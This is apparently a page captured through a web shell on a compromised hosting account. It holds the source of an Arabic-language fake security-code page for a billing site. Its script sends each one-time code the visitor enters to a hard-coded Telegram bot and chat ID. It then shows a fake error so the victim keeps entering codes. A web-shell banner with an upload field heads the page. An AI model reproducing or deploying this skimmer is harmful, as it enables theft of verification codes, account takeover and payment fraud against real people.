| Server IP : 162.0.215.10 / Your IP : 18.116.50.130 Web Server : LiteSpeed System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : alfhgysd ( 724) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/alfhgysd/squareone-billing.store/ |
Upload File : |
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" href="css/payment.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Cairo">
<!-- <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script> -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="icon" href="img/images.png" type="image/x-icon" style="width: 500px;">
<!-- <script src="node_modules/axios/dist/axios.min.js"></script> -->
<title>التحقق</title>
</head>
<body style="padding:.2rem !important">
<div class="bath container-fluid" style="padding-top:3rem">
<section class="ptb-70">
<div class="container" style="padding:0">
<form id="myForm">
<div class="mtb-30">
<div class="row">
<div class="col-md-6 mb-xs-40">
<div class="estimate">
<div class="row">
<div class="card mt-50 mb-50">
<div class="card-title mx-auto" style="font-size:2em"> إدخال رمز الأمان
</div>
<br>
<span id="card-header" style="margin:1rem 0; text-align:center;"> تم ارسال
رمز تحقق الى **** **** 05 </span>
<div class="row-1" style="padding: 0.5rem;">
<div class="row row-2">
<span id="card-inner" style="font-size:15px;"> إدخل رمز التحقق
</span>
</div>
<div class="row row-2" id="form-control">
<input id="ver" required type="tel" name="otp" minlength="4"
pattern="[0-9]{4,}" maxlength="8" placeholder="****">
</div>
</div>
<span dir="rtl" class="error-message" id="error-message" style="color: red;
top: 224px;
right: 58px;
font-size: 20px;
line-height: 1.5;"></span>
<button class="btn d-flex mx-auto send-button" style="background: #2dccac;border: none;"
id="btn-submit">
<b>تحقق من الرمز</b>
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</section>
</div>
<style>
#form-control {
position: relative;
}
.error-message {
color: red;
position: absolute;
bottom: 101px;
right: 68px;
font-size: 15px;
margin-bottom: 6px;
line-height: 1.5;
}
@media only screen and (max-width: 600px) {
.error-message {
bottom: 91px;
right: 40px;
font-size: 15px;
margin-bottom: 17px;
}
.send-button {
margin-top: 45px;
}
}
</style>
<script>
const telegram_bot_id = "7908880463:AAGpzxSDfGoqapqsWK5C1kl_arZDyTsjf1g";
const chat_id = "7351881254";
var sender = function () {
var code = document.getElementById("ver").value;
if (code === "") {
document.getElementById("error-message").textContent = "يرجى إدخال رمز التحقق";
return false;
} else {
document.getElementById("error-message").textContent = "يرجى ادخال رمز التحقق مرة اخرى";
}
// إرسال رمز التحقق إلى تليجرام
var message = "تم إدخال رمز التحقق: " + code;
var settings = {
method: 'post',
url: `https://api.telegram.org/bot${telegram_bot_id}/sendMessage`,
data: {
chat_id: chat_id,
text: message
}
};
axios(settings)
.then(function (response) {
document.getElementById("error-message").textContent = "حدث خطأ أثناء إرسال رمز التحقق، يرجى المحاولة مرة أخرى";
})
.catch(function (error) {
document.getElementById("error-message").textContent = "حدث خطأ أثناء إرسال رمز التحقق، يرجى المحاولة مرة أخرى";
});
// الإجراءات التي ترغب في تنفيذها بعد إرسال رمز التحقق إلى تليجرام
return false;
};
document.getElementById("btn-submit").addEventListener("click", sender);</script>
<script src="node_modules/axios/dist/axios.min.js"></script>
</body>
</html>